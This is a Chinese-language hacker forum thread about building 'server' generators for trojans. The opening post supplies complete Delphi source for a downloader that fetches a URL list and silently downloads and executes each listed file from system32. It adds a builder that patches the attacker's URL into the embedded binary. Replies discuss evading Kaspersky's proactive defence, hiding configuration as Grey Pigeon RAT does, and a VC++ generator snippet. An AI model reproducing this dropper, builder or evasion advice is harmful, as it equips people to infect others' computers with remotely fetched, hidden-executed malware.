发新话题
打印

[原创]服务端生成技术的思考

[原创]服务端生成技术的思考

信息来源:邪恶八进制信息安全团队(www.eviloctal.com
文章作者:lxm_991

最近在学习服务端文件的生成,相信有不少朋友也在学这个吧。下面就说一说个人的体会并介绍一种新的方法来生成服务端(超简单!)
好了下面开始
首先说一下服务端文件生成的思路:
1.把服务端文件编译成资源文件
2.在程序中导入资源文件并接受用户的配置信息
3.查找修改地址并写入配置信息
4.生成服务端文件

好了 过程就是这些 下面让我们来实现他吧。

首先写好我们的原始服务端  这里我们来写一个下载者为例。取名为down.exe  下面是源代码:
复制内容到剪贴板
代码:
program down;

uses
  SysUtils,urlmon,strutils,windows;
function DownloadFile(Source, Dest: string): Boolean;
begin
  try
   Result := UrlDownloadToFile(nil, PChar(source), PChar(Dest), 0, nil) = 0;
   except
    Result := False;
   end;
  end;

const
f:string = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
var
file1:textfile;
s,a:string;
begin
downloadfile(f,'c:\windows\system32\atlog.txt');
assignfile(file1,'c:\windows\system32\atlog.txt');
reset(file1);
  while not eof(file1) do
   begin
   readln(file1,s);
    downloadfile(s,'c:\windows\system32\'+rightstr(s,8));
    a:='c:\windows\system32\'+rightstr(s,8);
     winexec(pchar(a),sw_hide);
   end;
end.
这是一个支持多文件下载的服务端  具体代码我就不分析了  大家自己理解  很简单的。。。。
要注意的是
复制内容到剪贴板
代码:
const
f:string = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx';
f 是等待用户来配置的变量  我们把它定义为50个x  这样在修改时好定位  这里x的个数关系到用户能够输入信息的长度
所以要定义足够多的x啊  免得后面不够用了。
好了  把它编译为down.exe
下面我们来找xxxxxxxxxx。的地址。

打开十六进制编辑器  搜索xxxxx 找到的那个地址就是了  我们这里是54012  (delphi2005编译)
然后新建一个文本文件  写入如下代码
复制内容到剪贴板
代码:
downman RCDATA down.exe
保存为downman.rc  ok 下面把它编译成资源文件
brcc32.exe downman.rc
这样我们就得到了一个名为downman.res的资源文件

好  把它拷贝到我们的编程目录。
新建一个工程。
建立全局变量
复制内容到剪贴板
代码:
const  offset_url:integer= 54012
在{$R *.dfm}下面加上{$r downman.res}  这样我们就在程序中加入了资源文件了
下面我们来看看普通的程序写法。
复制内容到剪贴板
代码:
procedure TForm1.Button1Click(Sender: TObject);
var
url:string;
WriteBuff, ziyuanzhizhen: PChar;
ziyuanweizhi: HRSRC;
ziyuandaxiao, BytesWritten: Longword;
shujuchulijubing: THandle;
shenqingzhizhen: THandle;
begin
url:=trim(edit1.Text);
if url<>&#39;&#39; then
begin
ziyuanweizhi := FindResource(HInstance, &#39;downman&#39;, RT_RCDATA);
ziyuandaxiao := SizeofResource(HInstance, ziyuanweizhi);
shujuchulijubing := LoadResource(HInstance, ziyuanweizhi);
ziyuanzhizhen := LockResource(shujuchulijubing);
shenqingzhizhen := CreateFile(pchar(&#39;server.exe&#39;), GENERIC_WRITE, FILE_SHARE_WRITE, nil, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
WriteFile(shenqingzhizhen, ziyuanzhizhen^, ziyuandaxiao, BytesWritten, nil);
Sleep(100);
SetFilePointer(shenqingzhizhen, OFFSET_url, nil, FILE_BEGIN);
WriteBuff := PChar(url + StringOfChar(#0, 50 - Length(url)));
WriteFile(shenqingzhizhen, WriteBuff^, 50, BytesWritten, nil);
CloseHandle(shenqingzhizhen);
end
else
showmessage(&#39;请输入配置文件的地址!!&#39;);
end;
代码我就不解释了  网上有好多。
是不是看的头晕晕的。呵呵  俺也一样。
下面就给大家介绍一种新方法(俺自己想的。)
首先 把资源文件提取出来并保存到流 s 里面
复制内容到剪贴板
代码:
procedure TForm3.restostream;
var
Res : TResourceStream;
begin
s:=tmemorystream.Create;
Res:=TResourceStream.Create(Hinstance,&#39;downman&#39;,RT_RCDATA);
Res.SaveToStream(s);
Res.Free;
end;
s 是一个TMEMORYSTREAM 在public  申明一下就行了

好完成第一步了 下面我们用流来检索并修改。
复制内容到剪贴板
代码:
procedure TForm3.Button1Click(Sender: TObject);
var
buffer:pchar;
url:string;
begin
url:=trim(edit1.Text);
buffer:=pchar(url+stringofchar(#0,50-length(url)));
restostream;
s.Seek(offset_url,sofrombeginning);
s.WriteBuffer(buffer^,50);
s.SaveToFile(&#39;server1.exe&#39;);
s.Free;
end;
url  就是我们用户要输入的。  buffer 是用来填充前面说的f  (xxxxxxxx)
这样我们的服务端就生成完毕了。简单吧。

好  下面给出完整的程序供大家参考。
复制内容到剪贴板
代码:
unit Unit3;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;
const
offset_url:integer=54012;
type
  TForm3 = class(TForm)
   Edit1: TEdit;
   Button1: TButton;
   Label1: TLabel;
   procedure restostream;
   procedure Button1Click(Sender: TObject);
  private
   { Private declarations }
  public
   { Public declarations }
   s:tmemorystream;
  end;

var
  Form3: TForm3;

implementation

{$R *.dfm}
{$r downman.res}

procedure TForm3.Button1Click(Sender: TObject);
var
buffer:pchar;
url:string;
begin
url:=trim(edit1.Text);
buffer:=pchar(url+stringofchar(#0,50-length(url)));
restostream;
s.Seek(offset_url,sofrombeginning);
s.WriteBuffer(buffer^,50);
s.SaveToFile(&#39;server1.exe&#39;);
s.Free;
end;

procedure TForm3.restostream;
var
Res : TResourceStream;
begin
s:=tmemorystream.Create;
Res:=TResourceStream.Create(Hinstance,&#39;downman&#39;,RT_RCDATA);
Res.SaveToStream(s);
Res.Free;
end;
end.

TOP

放在资源里是不错的选择,有的时候却不是上策,因为无法加密..

TOP

第1种方法里的XXXXXXXXXXXXXXXX 应该尽量多,我尝试过,就是 XXXXXXXX因该比被替换的字符多,
http://www.baidu.com比如是下载地址.你的XXXXXXXXXX的数目就必须大与网址的字符数目,不懂我这种理解是否正确!!

TOP

一般50个字符就行了
这个代码就是不能过卡巴的主动很郁闷
要是换成短网址就可以过
换成长的就不行

TOP

生成器也要合理地判断用户输入网站的地址长度...
楼主的方法都是典型的生成器例子,也可以采用把配置信息写入尾端,不过这样会出现捆绑数据的现象...
请把牛B还给牛!

TOP

这种方式的不好的地方就是,如果你需要配置的信息太多(比如像生成木马服务端),这种操作方法太麻烦,而且还容易出错。碰到这种情况我一般采用INI文件的方式,将配置信息写入INI文件然后将该文件写入到服务端的资源中。服务端在执行时会释放INI文件并从中读取配置信息
我的部落格:http://www.mikwawa.cn/

TOP

谢谢各位提的意见,目前还在研究中,有好的想法会马上会帖出来的。

TOP

mika 的方法好是好 ,但是要是生成木马的话,还要带一个配置文件,隐蔽性不好

TOP

鸽子的配置信息 那样 怎么弄的? 不用释放东西的

TOP

把文件直接载入流中修改的,,我想应该是

TOP

少量的可以放到DOS头里,我的一个QQ自动登录的小程序就这样弄的,部分压缩软件不会修改DOS头呢。
http://my.lovemfc.cn

TOP

to:mika
这方法貌似也不错,改天测试看看,不过如果要操控INI文件就要添加IniFiles单元,添加后由于是ini类,所以还要再添加Classes单元,单纯添加单元不写任何代码,编译出来的程序都有90多KB了,这方法也不太适合那些体积小的服务端使用....
to:tsjmarco
鸽子是把配置信息加密后更身到服务端的资源里面,以后服务端读取并解密就可以了.这也是不错的思路...
请把牛B还给牛!

TOP

不懂delphi,大概明白楼主的意思。我也用vc写过一个downloader 的生成器。
主要代码
复制内容到剪贴板
代码:
//定位所需资源
hrsrc=FindResource(NULL,MAKEINTRESOURCE(IDR_SERVER1),"Server");
if(!hrsrc)
{
        MessageBox("定位资源失败!");
        return;
}
//获取资源大小
dwSize=SizeofResource(NULL,hrsrc);
hresData=LoadResource(NULL,hrsrc);
if(!hresData)
{
        MessageBox("载入资源失败!");
        return;
}
//在内存中开辟和资源大小相同的区域
         LPBYTE p=(LPBYTE)GlobalAlloc(GPTR,dwSize);
if(!p)
{
        MessageBox("内存分配失败!",NULL,MB_OK);
        return;
}
// ZeroMemory((PVOID)p,dwSize);
CopyMemory((PVOID)p,hresData,dwSize);
memset(szURL,0x00,sizeof(szURL));
//获得配置参数
::GetDlgItemText(hwnd,IDC_EDIT_URL,szURL,256);
//根据参数修改内存区域
ZeroMemory((PVOID)(p+0x6030),256);
CopyMemory((PVOID)(p+0x6030),szURL,sizeof(szURL));
//在当前目录下写入
        hFile=CreateFile(direcBuffer,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);

方法和楼主刚开始说的一样,搞不明白的就是如何实现象winshell一样能够选择UPX压缩?
大家能给点代码就好了~

TOP

我最近也在看这个,问题是,每次修改后重新编译,xxxxx的位置就有变化,必须重新在生成器中定义,显得过于麻烦!

看了看鸽子1.2的方式,是写入服务端的尾部,这样就省了不少心!
但是现在新式的,都是将配置信息以资源形式写进了服务端,不知道这个如何完成?

TOP

路过支持附加数据放在尾部....
免杀起来比资源型的好

TOP

楼主能不能搞个vb类的资源释放源码分析

TOP

发新话题